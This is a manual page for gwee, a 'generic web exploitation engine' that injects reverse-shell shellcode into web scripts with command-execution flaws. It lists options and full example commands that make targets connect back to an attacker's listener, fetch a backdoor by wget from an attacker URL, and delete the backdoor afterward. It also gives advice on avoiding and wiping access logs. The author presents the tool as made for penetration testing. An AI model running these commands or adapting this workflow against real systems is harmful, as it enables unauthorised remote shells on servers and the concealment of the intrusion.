DragonFly On-Line Manual Pages

Search: Section:  


gwee(1)                         Security tools                         gwee(1)

NAME

gwee - generic web exploitation engine Copyright (C) 2004 Michel Blomgren <michel@cycom.se> Perl and Python shellcode and expertise by Sabu <sabu@sentinix.org>

SYNOPSIS

gwee -h|-V gwee options url

DESCRIPTION

gwee (generic web exploitation engine) is a small program written in C designed to exploit arbitrary command execution vulnerabilities in web scripts, such as Perl CGIs, PHP, etc. gwee is much like an exploit, except more general-purpose. It features several reverse (connecting) shellcodes (x86 Linux, FreeBSD, NetBSD, Perl script (universal), Python script (universal)), several methods of injecting (executing) them, built-in http/https client and built-in server (listener) for receiving connections (and remote shell) from injected shellcodes. gwee is distributed under the MIT License. The Perl and Python shellcodes were written by Sabu <sabu@sentinix.org>.

OPTIONS

-h Display help (you can execute gwee without arguments too). -y string The parameter to insert before the shellcode injection command line is inserted. The shellcode is inserted between the values of the -y option and the -z option. In POST requests (default behaviour), the -y and -z options go into the POST data, not in the URL. In GET and HEAD requests, the "-y <shellcode> -z" option combination is appended to the URL. If you need to add a '?' you can do that either in the URL or as the first char of the -y option. By default, -y and -z are empty. -z string String to append after the shellcode injection command. By default, the -z string is empty. An example usage of the -y -z option combo would be: $ gwee -H -y '?testvar=' -z '|' target/cgi-bin/test.cgi This will resolve into: http://target/cgi-bin/test.cgi?testvar=perl -e "print <shellcode>"| Of course, you could have done it this way too, same result: $ gwee -z '|' 'target/cgi-bin/test.cgi?testvar=' $ gwee -y testvar= -z '|' target/cgi-bin/test.cgi This will resolve into: http://target/cgi-bin/test.cgi POST data: testvar=perl -e "print <shellcode>"| -G Use HTTP GET instead of POST. This is not recommended since nasty long tell-tail strings will end up in the access_log. In order for the whole payload to fit into a 1024 byte GET request, the shellcode is split up into 4 separate requests, all producing nasty logs. -H Use HTTP HEAD instead of POST/GET. Read about -G, the same nasty logs will appear on the target and the shellcode will be split into 4 requests. -l your_ip_or_hostname The IP or hostname to have the shellcode connect back to. Hostnames will be resolved into IP numbers, since that's the only method used by the binary shellcodes. -p port The port to connect back to, default is 31337. -s # Choose which shellcode to install on the target: 0 = Sabu's Perl shellcode (default if -s is omitted) 1 = Linux x86 binary 2 = FreeBSD x86 binary 3 = NetBSD x86 binary 4 = Sabu's Python shellcode (the target must have Python installed) -i # Choose shellcode injection method: 0 = perl -e "print 1 = python -c "__import__( 2 = printf "<hex>" 3 = echo -ne "<hex>" (works only if target's /bin/sh is bash) -I prefix_path Choose a prefix to the shellcode injection method, e.g.: -i1 -I /usr/local/bin/ that would parse it into: /usr/local/bin/python -c... default is empty (the preferred way). -T /var/tmp/.vetx.95 Choose a different temporary filename for the shellcode/backdoor on the target than the default. -a user agent string Choose user agent string, e.g.: -a "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" If -a is omitted, gwee will randomize from 25 real user-agent strings. -v Be really verbose, disclose exactly which commands are being executed. -q Be really silent, only output error messages, nothing else. -L Run built-in tcp listener (no need to use "nc -l"). -A Only listen for incoming connection on -p port, nothing else. This is just like: nc -l -p port -w timeout -t seconds Time-out in seconds until listener (-L) times out. Default is -t30 (30 seconds), -t0 means no time-out. -f Simply non-interactive, you don't need to press return to proceed. -w http://home.of.attacker/reverse_shellcode If you specify the -w option, the injection methods won't be used. Instead "wget -Yoff -q -O <bd> <url>" will be executed on the target to download a reverse shellcode/backdoor that will consequently be execute as per usual. Use the -d option to dump a shellcode that you can upload somewhere. -d outfile This option will dump shellcode instead of injecting it somewhere. You use the -l -p and -s options as usual, but instead of connecting somewhere, the generated shellcode will be dumped to a file you specify after the -d. Upload this file to a webserver and use it's URL with the -w option. For example, this command will dump x86 Linux sishell: $ gwee -lyourhostname. -p1337 -s1 -d bd $ scp bd leet@host:/wwwroot/ $ gwee -w http://host/bd -LG -p1337 'target/cgi-bin/vuln.cgi?' -P Preserve the shellcode after injection. Normally, the exploit will send a HTTP POST, HEAD or GET request trying to execute "rm -f /var/tmp/.vetx.95" This will leave nasty logs even after you wipe yourself from the logs. If you know you'll get a shell on a box, use the -P option with the -L option. Once connected with -L, it'll automatically send a "shred -fu ; rm -f" over the connected socket. -r Remove created backdoor file (shellcode) on the target. This is done automatically, but you still have the choice to explicitly do a remove.

EXAMPLES

gwee -y 'q=%3B' -l fubar.org. -p 6666 -L https://target/cgi-bin/vuln.cgi gwee -y'?cmd=' -z'|' -G -l mydom.tld -p 9000 -s1 -i3 -Lf target/vuln.pl gwee -y'loginname=%3B' -l mydom.tld -p80 -Lf https://target/userstat.pl gwee -A -p 6666 -t0 -q

LICENSE

gwee - generic web exploitation engine Copyright (C) 2004 Michel Blomgren <michel@cycom.se> Perl and Python shellcode and expertise by Sabu <sabu@sentinix.org> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

AUTHOR

My name is Michel Blomgren. I'm an information security consultant specializing in risk/vulnerability assessment and penetration testing with Cycom AB, www.cycom.se. I'm the developer of SENTINIX, a GNU/Linux distribution designed for monitoring, intrusion detection, anti-spam, anti-virus and clustering. You may contact me by sending an e-mail to <michel@cycom.se>. If you like to keep the conversation private, fetch my PGP public key on http://www.cycom.se/misc/pubkeymichel.asc (886A 7B17 1747 6C82 7A7E EAC0 A3F1 2943 101C 18FA).

SEE ALSO

rrs(1) gwee May 2004 gwee(1)

Search: Section: